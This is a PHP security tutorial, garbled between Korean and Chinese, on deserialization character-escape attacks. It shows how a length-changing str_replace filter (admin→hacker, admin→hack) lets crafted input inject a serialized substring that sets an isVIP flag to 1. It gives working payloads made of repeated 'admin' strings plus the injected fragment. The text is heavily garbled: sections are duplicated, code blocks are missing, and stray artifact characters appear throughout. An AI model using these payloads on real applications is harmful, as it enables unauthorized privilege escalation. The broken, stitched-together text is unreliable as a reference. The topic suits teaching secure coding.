개발자는 이를 사용할 때 먼저 개체를 직렬화한 다음 개체의 문자를 필터링하고 마지막으로 역직렬화합니다. 현재 PHP 역직렬화 문자 이스케이프에 취약점이 있을 수 있습니다.
PHP 역직렬화 문자 이스케이프의 경우 다음 두 가지 상황에서 논의하겠습니다.
필터링 후 문자가 많아졌습니다
필터링 후 문자가 적어졌습니다
필터링 후 문자가 많아졌습니다
먼저 user
클래스를 정의한다고 가정해 보겠습니다. , 그리고 내부에는 총 3개의 멤버 변수가 있습니다: username
, password
, isVIP
. user
类,然后里面一共有3个成员变量:username
、password
、isVIP
。
class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
可以看到当这个类被初始化的时候,isVIP
变量默认是0
,并且不受初始化传入的参数影响。
接下来把完整代码贴出来,便于我们分析。
这一段程序的输出结果如下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到,对象序列化之后的isVIP
变量是0
。
这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:
function filter($s){ return str_replace("admin","hacker",$s); }
因此整段程序如下:
这一段程序的输出为:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候我们把这两个程序的输出拿出来对比一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
可以看到已过滤字符串中的hacker
与前面的字符长度不对应了
s:5:"admin"; s:5:"hacker";
在这个时候,对于我们,在新建对象的时候,传入的admin
就是我们的可控变量
接下来明确我们的目标:将isVIP
变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
也就是说,我们要在admin
这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的长度为47
因为我们需要逃逸的字符串长度为47
,并且admin
每次过滤之后都会变成hacker
,也就是说每出现一次admin
,就会多1
个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整代码如下:
程序输出结果为:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:
程序输出如下:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到这个时候,isVIP
这个变量就变成了1
isVIP
변수의 기본값이 0
이고 초기화 중에 전달된 매개변수의 영향을 받지 않는 것을 볼 수 있습니다. 분석을 용이하게 하기 위해 전체 코드가 다음에 게시됩니다. O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
이 프로그램의 출력 결과는 다음과 같습니다.
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串객체 직렬화 후
isVIP
변수가 0
인 것을 확인할 수 있습니다. 이번에는 admin을 hacker로 바꾸는 기능을 추가합니다. 대체 기능은 다음과 같습니다. ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 //长度为47그래서 전체 프로그램은 다음과 같습니다.
";s:8:"password";s:6:" //长度为22이 프로그램의 출력은 다음과 같습니다.
이 두 프로그램의 출력을 비교해 보겠습니다.
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
문자열의
filteredhacker
가 이전 문자 길이와 일치하지 않는 것을 볼 수 있습니다hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
이번에는 , 새 객체를 생성할 때 들어오는 admin
은 제어 가능한 변수입니다 다음으로 목표를 명확히 하겠습니다. isVIP
변수의 값을 로 변경합니다. 1
먼저 기존 하위 문자열과 대상 하위 문자열을 비교합니다. ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
즉, admin
을 사용하여 변수의 위치를 제어하고 삽입합니다. target substring.
먼저 주입해야 하는 target 하위 문자열의 길이를 계산합니다:
이스케이프해야 하는 문자열의 길이는 47
이고 그 뒤에 admin
이 있기 때문입니다. 각 필터는 hacker
가 됩니다. 즉, admin
이 나타날 때마다 1
자가 더 많아지게 됩니다. 그래서 제어 가능한 변수에서
번 admin을 반복한 다음 이스케이프된 대상 하위 문자열을 추가합니다. 제어 가능한 변수는 다음과 같이 수정됩니다. O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
전체 코드는 다음과 같습니다. 프로그램 출력 결과 is :
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
hacker의 수는 총
47hacke
r이며 총 282 문자로 이전
282🎜과 정확히 일치합니다. 🎜🎜 끝에 삽입된 하위 문자열도 방금 이스케이프를 완료했습니다. 🎜🎜🎜역직렬화 후 중복된 하위 문자열은 삭제됩니다🎜🎜🎜그런 다음 직렬화 결과를 역직렬화한 후 출력합니다. 🎜🎜프로그램 출력은 다음과 같습니다. 🎜object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }🎜에서 볼 수 있습니다. 이번에는
isVIP
변수가 1
이 되어 문자 이스케이프 역직렬화 목적이 달성됩니다. 🎜🎜🎜🎜필터링 후 문자 수가 적음🎜🎜🎜🎜위에서는 PHP 역직렬화 문자 이스케이프에 문자가 더 많은 상황을 설명합니다. 🎜🎜다음은 역직렬화 문자가 덜 이스케이프되는 상황을 설명합니다. 🎜🎜우선 본문 코드는 여전히 위와 동일하며, 차이점은 필터 기능에서 해커를 해킹으로 변경했다는 것입니다. 🎜🎜전체 코드는 다음과 같습니다. 🎜rrreee🎜결과 가져오기: 🎜rrreee🎜 또한 🎜기존 하위 문자열🎜과 🎜대상 하위 문자열🎜을 비교합니다. 🎜rrreee🎜필터링 중에 🎜5🎜 문자가 🎜4 🎜로 삭제되었습니다. , 따라서 위의 문자 수가 증가하는 상황과 반대로 추가된 🎜admin🎜 수가 증가함에 따라 🎜기존 하위 문자열 🎜이 들여쓰기됩니다. 🎜🎜 🎜target 하위 문자열🎜의 길이를 계산합니다. 🎜rrreee🎜 그런 다음 🎜다음 제어 가능한 변수🎜에 대한 문자열의 길이를 계산합니다. 🎜rrreee🎜필터링할 때마다 🎜1🎜자가 줄어들기 때문에 먼저 🎜admin🎜 문자를 🎜22🎜번 반복하세요(여기서 22번은 더 많은 문자가 포함된 탈출 상황만큼 정확하지 않으며 나중에 조정해야 할 수도 있습니다) 🎜🎜완전한 코드는 다음과 같습니다. (🎜22개가 있습니다.) 🎜)🎜rrreee🎜출력 결과: 🎜🎜🎜참고: 🎜PHP 역직렬화 메커니즘은 예를 들어 10개의 문자가 있다고 지정되었지만 9개만 읽으면 큰따옴표에 도달합니다. 이번에는 PHP에서 따옴표를 10번째 문자로 처리합니다. 즉, 큰따옴표를 사용하여 문자열이 끝났는지 확인하는 것이 아니라 이전에 지정한 숫자에 따라 문자열을 읽습니다. 🎜O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,这个时候isVIP
的值也为1
,也就达到了我们反序列化字符逃逸的目的了
推荐学习:《PHP视频教程》
위 내용은 PHP의 역직렬화 문자 이스케이프 원칙에 대한 심층적인 이해의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!